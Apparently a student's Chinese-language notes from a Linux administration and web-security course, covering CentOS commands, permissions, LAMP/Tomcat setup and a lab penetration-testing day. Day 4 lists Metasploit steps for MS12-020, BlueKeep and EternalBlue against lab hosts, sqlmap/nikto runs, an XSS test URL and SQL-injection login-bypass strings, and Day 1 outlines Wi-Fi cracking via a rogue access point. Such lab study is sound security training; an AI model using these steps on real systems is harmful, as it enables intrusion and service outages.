Day1

开班总结
- 以企业管理的要求约束自己:自律、慎独
- 做好自己,帮助他人,乐于分享,团队合作
团队
团队4人
课程计划
- 安装Centos7
- 远程访问配置
- LAMP搭建与Linux+Tomacat+mysql搭建js的环境
- 通过shell运维网站
- 部署zabbix实时监控网站及服务器
- 部署IDS(snort)入侵检测系统
- 对上述网站进行渗透测试和漏洞修复
需要工具
- Cenos7+网站源码
- AWVS
- BurpSuite
- OWASP ZAP
- nmap
- sqlmap
大佬闲谈
- 虚拟网络配置器–选择网卡–选择有线网卡
- frp内网穿透
frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。 参考:https://github.com/fatedier/frp/blob/master/README_zh.md
- cdn自动节点分配知识点
- x prox mox虚拟化
- 私有云的搭建:nas
- 安利工具:光速搜索
网络配置
cd /etc/sysconfig/network-script
vim ifcfg-eps33
DEVICE=esp33 HWADDR= TYPE=Ethernet UUID= ONBOOT=yes 自动加载网卡 NM_CONTROLLED=yes BOOTPROTO:static 静态ip,设为dhcp为动态ip分配 IPADDR=172.16.12.136 NETMASK=255.255.240.0 GATEWAY=172.16.12.1 DNS1=61.139.2.69 DNS2=202.98.96.68 |
本组ip地址范围:172.16.12.136+20
service network restart 重启网卡
VIM常用操作
:w 保存文件但不退出 :w file 文件将修改并保存到file中 :w! 强制保存,不退出 wq! 保存退出 wq! 强制保存退出 q: 不保存直接退出 q! 强制保存退出 e! 放弃所有修改 |
文件查看命令ls
- 列表(List)显示目标内容
- 格式:ls [选项]… [目录或文件名]
- 常用命令选项:
- -l: 以长格式显示
- -a: 显示所有子目录和文件的信息,包括隐藏文件
- -A: 类似于 -a ,但不显示 . 和 .. 目录信息
- -d: 显示目录本身的属性
- -h: 以更易读的字节单位(K、M等)显示信息
- -R: 递归显示内容
- –color: 以长格式显示
进程类命令
ps
- 列出系统中当前运行的那些进程
- 格式:ps [选项]
- 常用命令选项:
- a: 显示现行终端机下的所有程序,包括其他用户的程序
- u: 以用户为第一列的格式来显示程序状况
- x: 显示所有程序,不以终端机来区分
- aux: 显示所有程序,包含其他使用者的程序
- 往往配合 |grep 使用(|grep相当于检索)
- ps aux | grep root
[root@localhost ~]# ps -aux | grep "events/3" root 9534 0.0 0.0 112704 956 pts/0 S+ 05:05 0:00 grep --color=auto events/3 这种内核线程共有32个,从events/0到events/31, 每个处理器核对应一个 events内核线程。用来处理内核事件很多软硬件事件(比如断电,文件变更)被转换为events,并分发给对相应事件感兴趣的线程进行响应。 |
kill
- 杀死进程
- 格式:kill [选项] [进程号(PID)]
- 常用命令选项:
- -9: 使 kill 的级别更高
提权思路
- 内核提权
- 进程注入提权
蜜罐
- 采集攻击手段,可采集脚本,生成字典
- 网络陷阱,可溯源复现
在以前,蜜罐是用来抓熊的。通过伪装成“食物”引诱熊前来享用,最后猎人再将熊一举拿下。 到了今天,蜜罐技术已经成为网络安全中的一种入侵诱饵,目的是引诱黑客前来攻击,并收集黑客相关的证据和信息。 所以蜜罐存在的意义就是——被攻击、被探测、被攻陷… |
Web渗透思路
- 信息收集 (主动与被动)
数据链路层漏洞探测:arp攻击
IP传输层服务端口发现与判断
应用层漏洞发现:XXE、XFF等
WIFI密码破解思路
- 抓包配合奶瓶暴力破解
- AP信道干扰,本地路由器复制信道,实现登录认证为本地路由器认证
- 构造伪AP与原AP冲突,使原WIFI断开重连,社工盗取路由器密码,可盗用之
toDO:学习WIFI协议
Day2
Linux为啥要学
Linux系统是一个多用户多任务的操作系统,开源免费,更安全,兼容性更好
虚拟化闲谈
虚拟化技术
- 网络虚拟化
- 系统虚拟化
- 存储虚拟化
虚拟化软件
Vmware Workstation,KVM,Openstar…
参考链接
虚拟机使用闲谈
- 快照
- 克隆
由于网卡的冲突,需要删除克隆机器的uuid(网络配置文件中)
- 暂停
- 网络获取来源
Centos基础
目录结构
- bin
所有用户 可以使用的命令
- sbin
root用户 可以使用的命令
- boot
Linux 启动 引导 配置文件
- dev
存储设备文件(包括硬盘等)
- etc
系统 服务 应用 配置文件
- home
普通用户 的 家目录(相当于 windows C盘 中的 Users)
- lib
一些 函数 的 库文件
- lost+found
无实际意义,表示有一个磁盘挂载到根下
- media
挂载 光盘 等 外来存储介质
- mnt
同 media
- opt
安装外围大型程序
- proc
开机才有的配置文件(不开机时无该目录)
- root
root用户 的 家目录
- selinux
对程序进行控制,安全性比较高
- srv
暂时不管
- sys
系统配置文件
- tmp
临时文件
- usr
一些外部程序也会安装在这
- var
日志 网站根目录
通过文件的颜色区分功能:
蓝色:目录 天蓝色:连接文件 黑色:普通文件 绿色:执行文件 |
[root@localhost ~]# 表示当前登录的用户是root
当前登录的用户名
主机名
当前所在的目录
文件及目录命令
ls
- 列表(List)显示目标内容
- 格式:ls [选项]… [目录或文件名]
- 常用命令选项:
- -l: 以长格式显示
- -a: 显示所有子目录和文件的信息,包括隐藏文件
- -A: 类似于 -a ,但不显示 . 和 .. 目录信息
- -d: 显示目录本身的属性
- -h: 以更易读的字节单位(K、M等)显示信息,
- -R: 递归显示内容
- –color: 以长格式显示
[root@localhost /]# ll lrwxrwxrwx. 1 root root 7 Jul 18 11:41 bin -> usr/bin l:文件类型(d是文件夹,l是连接文件,-是普通文件) rwxrwxrwx. :创建用户权限,用户属组权限,其他用户权限,是否存在acl(+表示存在acl) 1 root root :连接头 属主(所有者) 属组 7 Jul 18 11:41 :修改日期 bin -> usr/bin :文件名,连接到/usr/bin 属主:u 属组:g 其他用户:o 所有用户:a r = 4,w=2,x=1 |
pwd
- 查看工作目录
cd
- 切换工作目录
- 相对路径与绝对路径
cd . 当前目录 cd .. 上一级目录
su
- su root 切换到root用户
mkdir
- 创建新的目录(Make Directory)
- 格式:mkdir [-p] [/路径/]目录名
- 选项:
- -p: 递归创建
mkdir /home/{aa,bb,cc} [root@localhost /]# cd /home [root@localhost home]# ls aa bb cc [root@localhost home]# mkdir -p 11/22/33 [root@localhost home]# ls 11 aa bb cc [root@localhost home]# cd 11 [root@localhost 11]# cd 22 |
touch
- 新建空文件,或更新文件时间标记
- 格式:touch 文件名…
rm
- 删除(Remove)文件或目录
- 格式:rm [选项]… 文件或目录
- 选项:
- -r: 递归删除整个目录树
- -f: 强制删除文件或目录,不进行提醒
- -i: 删除文件或目录时提醒用户确认
mv
- 移动(Move)文件或目录
- 若目标位置与源文件位置相同,则相当于改名
- 格式:mv [选项]… 源文件或目录… 目标文件或目录
cp
- 复制(Copy)文件或目录
- 格式:cp [选项]… 源文件或目录名… 目标文件或目录
- 常用命令选项:
- -r: 递归复制整个目录树
- -p: 保持原文件的属性不变
- -f: 强制覆盖目标同名文件或目录
- -i: 需要覆盖文件或目录时进行提醒
查看文件目录命令
cat
- 显示文件全部内容
- 格式:cat [-n] 文件…
- 可以同时查看多个文件
- 常用命令选项:
- -n: 给输出的所有行加上编号
- 常见应用:
cat a b ... > c
- 将 文件a 文件b 等文件 的内容导入 文件c 中
- > 并不仅限于和 cat 搭配,它还可以与 ls 等搭配,只要是把文本导入某文件,都可以用
cat a |grep text
- 检索 文件a 里的 关键字text 相关文本
cat a |grep -v text
- 显示去除 关键字text 相关文本后的 文件a
cat a |sort
- 将 文件a 文本排序 再显示
- 数字按照 123
- 字母按照 abc
cat a |uniq
- 将 文件a 文本去重 再显示
- 只有两行完全一样才被视为重复
cat a |wc -l
- 计算 文件a 的行数
cat a >> b
- 文本重定向
- 即将 文件b 变为 文件a 的复制
head
- 显示文件开头几行
- 格式:head 文件
tail
- 显示文件末尾几行
- 格式:tail 文件
more
- 按页显示文件全部内容
- space 下一页
- b 上一页
- q 退出
- 格式:more 文件
less
- 类似于 more 但更加灵活,可以使用如 PageUp、PageDown 这种翻看操作
- 格式:less 文件
查找命令
find
- 用于查找文件或目录
- 格式:find [查找范围] [查找条件] [查找内容]
- 常用查找条件:
- -name: 按 文件名称 查找
- -size: 按 文件大小 查找
- -user: 按 文件属主 查找
- -type: 按 文件类型 查找
- -perm: 按 权限树 查找
- 示例
- find -name 111.txt:当前路径下搜索文件111.txt
- find /root/桌面 -name 111.txt:
/root/桌面
目录下搜索文件111.txt - find /root/桌面 -user root:
/root/桌面
目录下搜索属主为root
的文件 - find /root/桌面 -nouser:
/root/桌面
目录下搜索作废用户的文件 - find /root/桌面 -empty:
/root/桌面
目录下搜索空文件和空目录 - find /root/桌面 -amin -10:
/root/桌面
目录下搜索最后 10分钟 访问的文件 - find /root/桌面 -atime -10:
/root/桌面
目录下搜索最后 10天 访问的文件 - find /root/桌面 -mmin -10:
/root/桌面
目录下搜索最后 10分钟 修改的文件 - find /root/桌面 -mtime -10:
/root/桌面
目录下搜索最后 10天 修改的文件 - find /root/桌面 -perm 777:
/root/桌面
目录下搜索权限数为777的文件 - find /root/桌面 -size +3m:
/root/桌面
目录下搜索大于3m的文件
grep
- 查找内容
[root@localhost 22]# grep root /etc/passwd root:x:0:0:root:/root:/bin/bash operator:x:11:0:operator:/root:/sbin/nologin |
通配符
通配符,指包含这些字符的字符串“?”,“*”,“[]”,{}
通配符含义===>匹配文件名
符号 | 作用 |
---|---|
* | 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file * |
? | 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0 |
[abcd] | 匹配abcd中任何一个字符 |
[a-z] | 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0 |
{..} | 表示生成序列. 以逗号分隔,且不能有空格 |
[!abcd] | 或[^abcd]表示非,表示不匹配括号里面的任何一个字符 |
特殊符号
| #管道符,或者(正则) > #输出重定向 >> #输出追加重定向 < #输入重定向 << #追加输入重定向 ~ #当前用户家目录 `` $() #引用命令被执行后的结果 $ #以。。。结尾(正则) ^ #以。。。开头(正则) * #匹配全部字符,通配符 ? #任意一个字符,通配符 # #注释 & #让程序或脚本切换到后台执行 && #并且 同时成立 [] #表示一个范围(正则,通配符) {} #产生一个序列(通配符) . #当前目录的硬链接 .. #上级目录的硬链接 |
文件权限
chmod
- 格式:chmod [选项] 文件或目录
- 数字方式
- 选项为三个数字,每个数字都可以选择 0-7
- 三个数字 表示 三个组的权限
- 第一个数字 表示 所有者的权限
- 第二个数字 表示 所属分组的权限
- 第三个数字 表示 所有用户的权限
- 0-7 表示 拥有的权限,其本质为 三位的二进制数
- 0/1(最低位)表示 是否可执行 为1表示有可执行权限,为0表示没有
- 0/2(第二位)表示 是否可写 为1表示有可写权限,为0表示没有
- 0/4(最高位)表示 是否可读 为1表示有可读权限,为0表示没有
- 选择好权限后,将该三位二进制数装变成10进制数,放在对应的组别即可
- 三个数字 表示 三个组的权限
- 典型示例
chmod 777 1.txt
- 表示赋予 1.txt 所有权限,即 所有者、所属分组用户、所有用户 都对 1.txt 又有可读,可写,可执行权限
- 选项为三个数字,每个数字都可以选择 0-7
- 增减方式
- 选项为 对应组+/-权限
- 对应组
- u 代表 所有者
- g 代表 所属分组
- o 代表 所有用户
- 加减
- + 代表 增加权限
- – 代表 去除权限
- 权限
- r 代表 可读权限
- w 代表 可读权限
- x 代表 可执行权限
- 对应组
- 典型示例
chmod o-wx 1.txt
- 表示删去 1.txt 其他用户 的 可写可执行权限
- chmod u=—,g=—,o=r-x 1.txt
- chmod a=rwx 1.txt
- 选项为 对应组+/-权限
chown
- 更改文件的属主和属组
- 格式:chown [-R] 属主名:属组名 文件或目录
- 常用命令选项
- -R: 递归方式更改属主
- 典型示例
- chown -R root:root www
chown -R apache www
- 只把 使用者 改为 Apache
- chown -R :Apache www
- 只把 属组 改为 Apache
ACL
针对其他用户,用以分配临时权限
- setfacl -m u:student:rwx test
- 创建acl规则,使student用户对于test文件具有rwx的权限
- getfacl test
- 查看test文件的acl规则
- setfacl -x u:student test
- 删除一条ACL规则
- setfacl -b test
- 删除test目录所有ACL规则
sbit
粘滞位权限(强制位权限)
- chmod o+t files/
- 需要root用户才能添加t权限
drwxr-xr-t. 2 root root 6 Jul 18 23:18 files
--x
->t
---
->T
- 可以实现只有文件所有者才能删除该文件
sgid
以所属组的身份去执行
- chmod g+s files/
drwxr-sr-t. 2 root root 6 Jul 18 23:18 files
--x
->s
---
->S
- 可以实现只有将文件的权限属组设置为用户的属组
suid
以所有者的身份执行(只针对文件,不针对目录)
用户与组管理
用户的基本信息与密码信息分开存储于passwd和shadow!
root:x:0:0:root:/root:/bin/bash
用户名:密码占位符:uid:gid:用户组:组目录:登录方式root:$6$prdKEBNl3oa246t4$JNBx/LTIuaVD3KQpDGu6T5d8dQ4sKcgxoQSHNxvfztCcADgUvEHOhX3rAlptlqcT0qGfJoXVsudK6IWXqKY6M/::0:99999:7::: 第二字段表示密码
用户分类:
超级用户
普通用户
虚拟用户:不能登陆系统,针对具体应用(如匿名用户之于ftp)才有效
用户组的目录:
/etc/group :存放组基本信息
/etc/gshadow:存放组密码信息
useradd
- 添加用户(会生成用户,用户家目录,用户同名组)
- 格式:useradd [选项]… 用户名
- 常用命令选项
- -u: 指定 UID 标记好
- -d: 指定 宿主目录,缺省为
/home/用户名
- -e: 指定账号 失效时间
- -g: 指定用户的 基本组名(或 UID)
- -G: 指定用户的 附加组名(或 GID)
- -M: 不为用户建立并初始化 宿主目录
- -s: 指定用户的登录 Shell
- useradd -s /sbin/nologin student
passwd
- root用户: passwd student
- 普通用户:passwd
userdel
- 删除用户
- 格式:userdel [-r] 用户名
- 常用命令选项
- -r: 连同用户宿主目录一并删除
usermod
- usermod -l stu student
- -L 锁定用户
- -U 解锁用户
groupadd
- 添加用户组
- 格式:groupadd [选项]… 用户组名
- 常用命令选项
- -g: 指定一个 GID
gpasswd
用户组管理
- -a 将用户添加到组
- gpasswd -a student root iangstudent添加到root组
- -A 将用户设置为组管理员
- -d 将用户从组删除
为用户组设置密码:gpasswd
普通用户临时加入到组,并享有组的权限:newgroup
人事部有两个员工(rs1 rs2),其中rs1为组rsb的管理员,rsb组的密码是:123456 /mnt/rsb文件 drwxr-x--- rs1 rsb 现在有一个员工:zjl 想有临时权限查看rsb目录中的文件? |
groupdel
- 删除用户组
- 格式:groupdel 用户组名
任务
任务内容
项目一组: 用户组:xm1z 用户:xm11 (组管理员) xm12 文件:/mnt/xm1z 项目二组: 用户组:xm2z 用户:xm21 (组管理员) xm22 文件:/mnt/xm2z 管理团队用户: 用户组:glz 用户:xmjl(项目经理) rsjl(人事经理) xmzl(经理助理) 文件:/mnt/wan19 要求: 每组的文件夹只允许本组的同学访问,并可以读写文件,并且建立的文件所属组为员工所在的组,但只能删除自己的文件,不能删除别人的文件。**其他组的同学对本组的文件没有任何权限**。其中管理团队的xmjl对各组文件具有读写执行的权限。 每组的管理员可以管理本组员工的帐号。 |
新建用户和组
[root@localhost etc]# groupadd xm1z # 建立xm1z组 [root@localhost etc]# groupadd xm2z # 建立xm2z组 [root@localhost etc]# groupadd glz # 建立glz组 [root@localhost etc]# mkdir /mnt/xm1z # 创建xm1z文件夹 [root@localhost etc]# mkdir /mnt/xm2z # 创建xm2z文件夹 [root@localhost etc]# mkdir /mnt/wan19 # 创建wan19文件夹 [root@localhost etc]# useradd xm11 # 添加用户xm11 [root@localhost etc]# useradd xm12 # 添加用户xm12 [root@localhost etc]# useradd xm21 # 添加用户xm21 [root@localhost etc]# useradd xm22 # 添加用户xm22 [root@localhost etc]# useradd xmj1 # 添加用户xmj1 [root@localhost etc]# useradd rsj1 # 添加用户rsj1 [root@localhost etc]# useradd xmz1 # 添加用户xmz1 [root@localhost mnt]# gpasswd -a xm12 xm1z [root@localhost mnt]# gpasswd -a xm11 xm1z [root@localhost mnt]# gpasswd -a xm21 xm2z [root@localhost mnt]# gpasswd -a xm22 xm2z [root@localhost mnt]# gpasswd -a xmj1 glz [root@localhost mnt]# gpasswd -a rsj1 glz [root@localhost mnt]# gpasswd -a xmzl glz [root@localhost mnt]# gpasswd -a xmz1 glz [root@localhost etc]# gpasswd -a xm11 xm1z # 将xm11添加为xm1z组的管理员 [root@localhost etc]# gpasswd -a xm21 xm2z # 将xm21添加为xm2z组的管理员 |
更改文件夹属组
初始状态
drwxrwx---. 2 root root 6 Jul 18 23:56 wan19 drwxrwx---. 2 root root 6 Jul 18 23:53 xm1z drwxrwx---. 2 root root 6 Jul 18 23:53 xm2z |
[root@localhost mnt]# chown -R :xm1z xm1z [root@localhost mnt]# chown -R :xm2z xm2z [root@localhost mnt]# chown -R :glz wan19/ [root@localhost mnt]# chmod g+s xm1z drwxrws---+ 2 root glz 6 Jul 18 23:56 wan19 drwxrws--T+ 2 root xm1z 33 Jul 19 02:53 xm1z drwxrws---+ 2 root xm2z 20 Jul 19 02:48 xm2z |
文件夹权限设置
初始状态:
[root@localhost mnt]# ll total 0 drwxr-xr-x. 2 root root 6 Jul 18 23:56 wan19 drwxr-xr-x. 2 root root 6 Jul 18 23:53 xm1z drwxr-xr-x. 2 root root 6 Jul 18 23:53 xm2z |
设置文件删除权限
[root@localhost mnt]# chmod o+t wan19/ xm1z/ xm2z/ drwxrwx--T. 2 root glz 6 Jul 18 23:56 wan19 drwxrwx--T. 2 root xm1z 6 Jul 18 23:53 xm1z drwxrwx--T. 2 root xm2z 6 Jul 18 23:53 xm2z |
设置读写文件权限
[root@localhost mnt]# chmod u=rwx,g=rwx,o=--- xm1z/ xm2z/ wan19/ drwxrwx---. 2 root glz 6 Jul 18 23:56 wan19 drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z |
切换用户读访问测试
[root@localhost mnt]# su xm11 [xm11@localhost mnt]$ ll drwxrwx---. 2 root glz 6 Jul 18 23:56 wan19 drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z [xm11@localhost mnt]$ cd xm1z [xm11@localhost xm1z]$ cd .. [xm11@localhost mnt]$ cd xm2z bash: cd: xm2z: Permission denied [xm11@localhost mnt]$ cd wan19/ bash: cd: wan19/: Permission denied [root@localhost mnt]# su xm21 [xm21@localhost mnt]$ ll drwxrwx---. 2 root glz 6 Jul 18 23:56 wan19 drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z [xm21@localhost mnt]$ cd xm1z/ bash: cd: xm1z/: Permission denied [xm21@localhost mnt]$ cd xm2z/ [xm21@localhost xm2z]$ cd .. [xm21@localhost mnt]$ cd wan19/ bash: cd: wan19/: Permission denied |
文件删除测试
[root@localhost mnt]# su xm11 [xm11@localhost mnt]$ cd xm1z [xm11@localhost xm1z]$ touch 11.txt [xm11@localhost xm1z]$ su root [root@localhost xm1z]# su xm12 [xm12@localhost xm1z]$ cd xm1z bash: cd: xm1z: No such file or directory [xm12@localhost xm1z]$ cd /mnt [xm12@localhost mnt]$ cd xm1z [xm12@localhost xm1z]$ ll -rw-rw-r--. 1 xm11 xm11 0 Jul 19 02:30 11.txt [xm12@localhost xm1z]$ rm 11.txt rm: remove write-protected regular empty file ‘11.txt’? [xm12@localhost xm1z]$ ll -rw-rw-r--. 1 xm11 xm11 0 Jul 19 02:30 11.txt |
文件权限设置
[root@localhost mnt]# cd xm1z/ [root@localhost xm1z]# ll total 4 -rw-rwxr--+ 1 xm11 xm11 133 Jul 19 02:42 11.txt [root@localhost xm1z]# chmod o-rwx * [root@localhost xm1z]# ll total 4 -rw-rwx---+ 1 xm11 xm11 133 Jul 19 02:42 11.txt .... |
超级管理员xmj1权限设置
[root@localhost mnt]# setfacl -m u:xmj1:rwx xm1z/ xm2z/ wan19/
|
访问测试:
[root@localhost mnt]# su xmj1 [xmj1@localhost mnt]$ cd xm1z/ [xmj1@localhost xm1z]$ ll -rw-rwxr--+ 1 xm11 xm11 0 Jul 19 02:30 11.txt [xmj1@localhost xm1z]$ cat 11.txt [xmj1@localhost xm1z]$ vim 11.txt [xmj1@localhost xm1z]$ cat 11.txt :i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power! |
Day3
搭建LAMP
安装apache:
yum install httpd httpd-devel systemctl start httpd systemctl enable httpd # 设置httpd服务开机启动 |
防火墙设置开启80/443端口:
firewall-cmd --permanent --zone=public --add-service=http firewall-cmd --permanent --zone=public --add-service=https firewall-cmd --reload |
安装MySQL:
yum install mariadb mariadb-server mariadb-libs mariadb-devel rpm -qa |grep maria systemctl start mariadb systemctl enable mariadb mysql_secure_installation # 数据库安全设置 mysql -u root -p # 测试 #------# mysqldump couman --user=root --password=123456>db-01.mysql; # 数据库的备份 |
安装PHP:
yum -y install php rpm -ql php/etc/httpd/conf.d/php.conf/etc/httpd/conf.modules.d/10-php.conf/usr/lib/httpd/modules/libphp5.so/usr/share/httpd/icons/php.gif/var/lib/php/session yum install php-mysql rpm -ql php-mysql/etc/php.d/mysql.ini/etc/php.d/mysqli.ini/etc/php.d/pdo_mysql.ini/usr/lib/php/modules/mysql.so/usr/lib/php/modules/mysqli.so/usr/lib/php/modules/pdo_mysql.so yum install -y php-gd php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-snmp php-soap curl curl-devel php-bcmath #安装常用模块 |
重启apache服务器:systemctl restart httpd
发布网站
网站存放的默认目录:/var/www/html
将网站文件夹放到html文件下即可!
效果图
使用Tomcat搭建网站
安装JDK
首先查看自己的机器上是否已经自带openjdk,命令如下:
rpm -qa | grep jdk
如果存在,则按照如下命令进行依次卸载:
yum -y remove fileName
下载jdk:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
创建java家目录:mkdir -p /usr/local/java,将jdk-8u161-linux-x64.tar.gz解压并复制到该目录下
vim /etc/profile
在该文件末尾加上如下内容:
export JAVA_HOME=/usr/local/java/jdk1.8.0_211 export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:$PATH |
重新加载配置文件:source /etc/profile
[root@localhost local]# java -version
java version “1.8.0_151”
Java(TM) SE Runtime Environment (build 1.8.0_151-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)
输出上面的版本信息即代表安装成功。
安装Maven
下载maven包:wget https://archive.apache.org/dist/maven/maven-3/3.5.0/binaries/apache-maven-3.5.0-bin.tar.gz
创建maven家目录:mkdir -p /usr/local/maven并将之前下载的包解压并复制到该目录
修改配置文件:vim /etc/profile
export JAVA_HOME=/usr/local/java/jdk1.8.0_211 export JRE_HOME=${JAVA_HOME}/jre export MAVEN_HOME=/usr/local/maven/apache-maven-3.5.0 #增加此行 export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:${MAVEN_HOME}/bin:$PATH #修改此行 |
source /etc/profile
[root@localhost a]# mvn -v
Apache Maven 3.5.0 (ff8f5e7444045639af65f6095c62210b5713f426; 2017-04-04T03:39:06+08:00)
Maven home: /usr/local/maven/apache-maven-3.5.0
Java version: 1.8.0_151, vendor: Oracle Corporation
Java home: /usr/local/java/jdk1.8.0_151/jre
Default locale: zh_CN, platform encoding: UTF-8
OS name: “linux”, version: “3.10.0-514.16.1.el7.x86_64”, arch: “amd64”, family: “unix”
至此,我们就完美的完成了maven的安装和配置。
安装git
yum -y install git
安装mysql并导入数据库
[root@nmserver-7 ~]# yum install mariadb mariadb-server mariadb-libs mariadb-deve [root@nmserver-7 ~]# systemctl start mariadb [root@nmserver-7 ~]# systemctl enable mariadb [root@nmserver-7 ~]# systemctl status mariadb [root@nmserver-7 ~]# mysql_secure_installation 配置root用户的密码为:123456) |
安装tomcat
下载linux下的Tomcat压缩包 apache-tomcat-8.5.13.tar.gz,解压后放到/var/tomcat/目录下
启动与关闭tomcat:
/apache-tomcat-8.5.13/bin/startup.sh /apache-tomcat-8.5.13/bin/shutdown.sh |
开放8080端口:
firewall-cmd –zone=public –add-port=8080/tcp –permanent
centos7 已经更改了防火墙策略,所以使用这种方式来打开端口: --zone #作用域 --add-port=8080/tcp #添加端口,格式为:端口/通讯协议 --permanent #永久生效,没有此参数重启后失效 重启防火墙:firewall-cmd --reload |
发布电商网站
创建数据库:create database jspgou CHARACTER SET utf8 COLLATE utf8_general_ci;
导入数据库:mysql -u root -p jspgou</var/tomcat/apache-tomcat-8.5.13/DB/jspgou.sql
将程序解压后的ROOT文件夹拷贝到tomcat安装目录下的webapps文件夹下。
配置数据库连接:/var/tomcat/apache-tomcat-8.5.41/webapps/ROOT/WEB-INF/config
jdbc.url=jdbc:mysql://127.0.0.1:3306/jspgou?characterEncoding=UTF-8 jdbc.username=root jdbc.password=123456 |
启动tomcat
./startup.sh
效果图
访问网站后台:http://192.168.75.140:8080/jeeadmin/jspgou/index.do
遇到坑不能访问,重启即可!
shell脚本设计
备份数据库
mysqldump jspgou --user=root --password=123456>`date +%Y%m%d`db-01.mysql
|
备份日志
cp -R /var/log/httpd /httpdbak/`date +%Y%m%d` httpdbak
|
示例脚本
!/bin/bash BAK_DIR=/data/backup/mysql/`date +%Y-%m-%d` MYSQLDB=jspgou MYSQLPWD=123456 MYSQLUSER=root must use root user run scripts if [ $UID -ne 0 ];then echo -e " 33[43;31m This script must use the root user! 33[0m" sleep 2 exit 0 fi Define DIR and mkdir DIR if [ ! -d $BAK_DIR ];then mkdir -p $BAK_DIR fi Use mysqldump backup Databases /usr/bin/mysqldump -u $MYSQLUSER -p$MYSQLPWD -d $MYSQLDB>$BAK_DIR/${MYSQLDB}bak.sql echo "The mysql backup successfully" [root@localhost shell]# vim dump2.sh [root@localhost shell]# ./dump2.sh The mysql backup successfully |
Day4
实验环境
- win7虚拟机,网络桥接
- PHPstudy,安装有grade网站
- tomcat,安装有jspgou在线商城
端口发现
使用nmap扫描之:
漏洞扫描
使用nessus扫描之:
漏洞利用(系统)
MS12-020
漏洞介绍:
(全称:Microsoft windows远程桌面协议RDP远程代码执行漏洞) RDP协议是一个多通道的协议,让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化或已经删除的对象,导致任意代码执行, 然后控制系统。 |
漏洞利用:
- nmap扫描主机,查看靶机是否开启3389端口。
nmap -p1-65535 -sV -sS -Pn -T4 target -sS 是半开放扫描,比普通扫描要快 -sV是版本检测 -Pn是不对目标主机进行存活性判断 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 3389/tcp open ms-wbt-server Microsoft Terminal Service
- 如果3389开放,说明可能存在漏洞
cmd开启3389 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
- 使用msfconsole, 利用里面的模块查看是否存在Ms12-020漏洞。
search ms12-020 auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 auxiliary/scanner/rdp/ms12_020_check use auxiliary/scanner/rdp/ms12_020_chec set rhosts 192.168.222.135 set threads 10 threads => 10 run
- 复现死亡蓝屏
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids set rhosts 192.168.222.135 run |
防范:
- 关闭防火墙或者关闭3389端口
- 若需要用,就对防火墙配置策略,允许哪些IP才可以访问你RDP协议。
CVE-2019-0708
影响范围:
windows2003、windows2008、windows2008 R2、windows xp
|
漏洞原理:
远程桌面端口3389,RDP协议进行攻击 通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去 该漏洞是“可传播的”,这意味着任何利用该漏洞的恶意软件都可能从受影响的计算机传播到受影响的计算机,就像2017年WannaCry恶意软件在全球蔓延一样,跟之前的勒索,永恒之蓝病毒差不多 |
漏洞利用:
- 漏洞探测
search cve-2019-0708 use auxiliary/scanner/rdp/cve_2019_0708_bluekeep set rhosts 192.168.222.135 run [+] 192.168.222.135:3389 - The target is vulnerable.
- 由于msf不带现成exp,在Github上下载了一个poc,并攻击成功
https://github.com/Ekultek/BlueKeep
防御:
- 如果不需要,请禁用远程桌面服务。
- 在运行Windows 7,Windows Server 2008和Windows Server 2008 R2的提供支持版本的系统上启用网络级别身份验证(NLA)
- 在企业外围防火墙处阻止TCP端口3389
MS 17-010
传说中的永恒之蓝漏洞!
漏洞原理:
漏洞出现在Windows SMB v1中的内核态函数srv! SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。 |
漏洞利用:
- 检测是否存在漏洞
auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.222.135 run 192.168.222.135:445 - Host is likely VULNERABLE to MS17-010!
- 加载攻击模块
use exploit/windows/smb/ms17_010_eternalblue set RHOST 192.168.222.137 exploit
防御方法:
- 安装微软MS17-010补丁
- 关闭445端口,阻断外来非授权访问
- Windows组策略关闭139、135、445等危险端口
- 命令提示符关闭:
netsh advfirewall set allprofile state on netsh advfirewall firewall add rule name=deny445 dir=in action=block protocol=TCP localport=445
漏洞利用(Web)
Grade
SQL注入漏洞
- 万能密码登陆漏洞
- 联合查询注入漏洞
sqlmap -u "172.16.12.249/grade/query.php?id=1"
xss漏洞
http://172.16.12.249:8080/
文件上传漏洞
jspgou
信息收集
nikto
nikto -h http://172.16.12.249:8080/ -o ./jp.html
xss测试url:http://172.16.12.249:8080/guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E
|
御剑
http://172.16.12.249:8080/login.jspx http://172.16.12.249:8080/manager/html http://172.16.12.249:8080/member/login/ http://172.16.12.249:8080/member/admin/ |
漏洞扫描
使用OWASP ZAP扫描之
待测试
SQL注入
万能密码
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
